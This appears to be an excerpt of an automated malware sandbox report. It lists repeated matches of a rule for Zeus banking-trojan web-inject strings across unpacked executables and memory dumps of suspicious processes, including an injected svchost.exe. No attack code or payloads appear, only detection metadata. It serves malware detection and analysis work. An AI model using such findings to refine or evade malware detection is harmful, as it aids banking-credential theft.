    Source: 16.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.1042000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 0.3.1fWgBXPgiT.exe.63cd78.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 21.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.de2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.47.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 9.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.23f2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.84.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.58.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.49.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.889400.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 33.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26b0000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 27.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.1470000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.46.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 21.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.de2000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.43.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 39.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2582000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 16.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.10a0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 25.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.24e2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.69.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.72.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.889400.3.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.90.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.69.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 21.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.e80000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 0.2.1fWgBXPgiT.exe.400000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.59.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.76.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 19.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26d0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.67.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.73.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.54.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 35.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26d2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.74.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 5.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26f0000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 0.3.1fWgBXPgiT.exe.637978.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 0.2.1fWgBXPgiT.exe.407000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.89.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.77.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 19.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26d0000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 6.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.ab2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.43.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 25.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.24e2000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.75.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.57.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.889400.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.68.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.74.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 33.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26b0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 0.3.1fWgBXPgiT.exe.63cd78.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 25.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.28c0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.884000.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 0.3.1fWgBXPgiT.exe.63d978.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 35.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2870000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 27.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.1470000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 39.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26e0000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.75.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.79.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.4f00000.44.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 29.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.3160000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.52.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 0.3.1fWgBXPgiT.exe.637978.0.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.72.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.82.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.78.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.60.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.64.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.83.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 9.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26a0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.56.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 29.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2fc2000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.41.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.57.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.88a000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.50.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.884000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 0.2.1fWgBXPgiT.exe.406400.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.71.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.90.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.87.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2203064620.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000000.00000003.1664848055.0000000000637000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000015.00000002.2114738599.0000000000DE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000013.00000002.2105602842.00000000026D0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2196074287.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2163418522.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2198762933.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000025.00000002.2230467830.0000000003230000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2142505110.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000005.00000002.2313341369.0000000000C10000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2202181854.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000017.00000002.2118494374.00000000011A0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2203704922.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 0000001F.00000002.2163047688.0000000002830000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2109272313.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2196660787.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2034042141.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2096064167.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2206387159.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000017.00000002.2118722454.0000000001200000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2066773815.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2118413346.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000013.00000002.2105209456.0000000002570000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2205694680.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 0000001F.00000002.2163537694.0000000002990000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000019.00000002.2132519796.00000000028C0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2098616103.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.1673282588.0000000000884000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2203529589.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.1675428323.0000000002500000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2199519637.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2194412887.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2198552223.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2204859689.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000006.00000002.2287019898.0000000000AB0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2198240190.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2086777049.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000010.00000002.2093912488.00000000010A0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2203265962.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2189144931.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2204400757.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 0000000D.00000002.2302334442.00000000022C0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2198028045.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2131653649.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000006.00000002.2287686891.0000000000B10000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2205934385.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000023.00000002.2179835076.0000000002870000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 0000000D.00000002.2302184126.0000000002260000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2204203974.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2192466497.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000009.00000002.2305463692.00000000026A0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2180206209.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2199111278.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000010.00000002.2093710792.0000000001040000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 0000001B.00000002.2139365340.0000000001470000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2195480127.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2199319017.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2205455132.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 0000001D.00000002.2151912439.0000000003160000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000025.00000002.2197019654.0000000003080000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2206763165.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2196471946.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000021.00000002.2175595009.00000000022D0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000027.00000002.2195084905.0000000002580000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2190528713.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2202379688.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2042430310.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000009.00000002.2304128212.00000000023F0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2171131947.000000000F2C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2030438405.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2199706571.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
